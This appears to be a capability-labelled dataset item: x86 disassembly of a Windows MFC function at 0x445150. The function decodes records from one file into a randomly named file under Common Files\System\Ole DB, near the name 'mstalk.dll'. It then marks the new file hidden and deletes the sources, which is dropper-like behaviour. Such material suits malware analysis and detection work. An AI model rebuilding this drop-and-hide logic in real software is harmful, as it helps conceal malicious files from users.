Function at 0x445150
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x452f80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2ac
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x10], esp
call fcn.0042d0c0
lea ecx, [ebp - 0x50]
call sub.MFC42.DLL_CFile::CFile
xor edi, edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], edi
call sub.MFC42.DLL_CFile::CFile
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call fcn.0044b6f4
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.0044b6f4
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
call fcn.0044b6f4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 4
call fcn.0044b6f4
mov ebx, 5
push 0x473962
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
mov dword [ebp - 0x28], edi
call fcn.0044b82c
mov eax, dword [ebp - 0x18]
cmp dword [eax - 8], edi
je 0x445236
push 0x467f78
lea ecx, [ebp - 0x20]
push 0x47527c
push ecx
call sub.MFC42.DLL_operator
lea edx, [ebp - 0x18]
mov byte [ebp - 4], 6
push edx
push eax
lea eax, [ebp - 0x54]
push eax
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 7
call fcn.0044b81a
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, esi
call fcn.00444d60
test eax, eax
jne 0x44529f
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0
call fcn.0044bcb8
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 0xffffffff
call fcn.0044bcb8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x467f78
lea edx, [ebp - 0x20]
push 0x47527c
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 8
call fcn.0044b81a
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push str.Common_FilesSystemOle_DB_
lea eax, [ebp - 0x20]
push 0x47527c
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 9
call fcn.0044b81a
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push str.mstalk.dll
lea ecx, [ebp - 0x1c]
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0044b81a
mov byte [ebp - 0x2b], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov edi, dword [sym.imp.MSVCRT.dll_rand]
add esp, 4
xor esi, esi
call edi
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x61
mov byte [ebp + esi - 0x30], dl
inc esi
cmp esi, ebx
jl 0x44532a
call edi
cdq
mov ecx, 6
idiv ecx
cmp edx, 2
jge 0x445354
mov edx, 2
mov byte [ebp + edx - 0x30], 0
lea edx, [ebp - 0x30]
push edx
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator_1
push 0x467fac
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator_1
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x2b8]
push eax
push ecx
call sub.MFC42.DLL_CFile::GetStatus
test eax, eax
je 0x445394
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x14]
push edx
call fcn.0044b81a
jmp 0x445328
or ebx, 0xffffffff
lea edi, [ebp - 0x30]
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 4], 0xa
mov eax, ecx
mov esi, edi
mov edi, 0x473962
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, 0x467fac
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x8000
mov esi, edi
mov edx, ecx
mov edi, 0x473962
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x1c]
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x50]
call sub.MFC42.DLL_CFile::Open
test eax, eax
je 0x445432
mov edx, dword [ebp - 0x50]
push 0
push 0
lea ecx, [ebp - 0x50]
call dword [edx + 0x30]
lea eax, [ebp - 0x64]
push 0x10
push eax
lea ecx, [ebp - 0x50]
call sub.MFC42.DLL_CFile::Read
mov ecx, dword [ebp - 0x14]
push 0
push 0x9001
push ecx
lea ecx, [ebp - 0x40]
call sub.MFC42.DLL_CFile::Open
mov esi, eax
test esi, esi
jne 0x44548c
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0
call fcn.0044bcb8
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.0044bcb8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x40]
push 0
push 0
lea ecx, [ebp - 0x40]
call dword [edx + 0x30]
lea eax, [ebp - 0x1a0]
push 0x139
push eax
lea ecx, [ebp - 0x50]
call sub.MFC42.DLL_CFile::Read
test eax, eax
je 0x4454ee
cmp eax, 0x139
jne 0x4454ec
lea ecx, [ebp - 0x1a0]
push 0x5b
push ecx
call fcn.00405ae0
add esp, 8
cmp eax, 1
jne 0x4454ec
mov edx, dword [ebp - 0x19c]
lea eax, [ebp - 0x19a]
and edx, 0xffff
lea ecx, [ebp - 0x40]
push edx
push eax
call sub.MFC42.DLL_CFile::Write
jmp 0x445499
xor esi, esi
lea ecx, [ebp - 0x40]
call sub.MFC42.DLL_CFile::Flush
lea ecx, [ebp - 0x40]
call sub.MFC42.DLL_CFile::Close
lea ecx, [ebp - 0x50]
call sub.MFC42.DLL_CFile::Close
test esi, esi
je 0x44551f
mov ecx, dword [ebp - 0x14]
push 2
push ecx
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x445558
mov edx, dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edx
call esi
mov eax, dword [ebp - 0x14]
push eax
call esi
jmp 0x445558
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0
call fcn.0044bcb8
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.0044bcb8
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x28]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret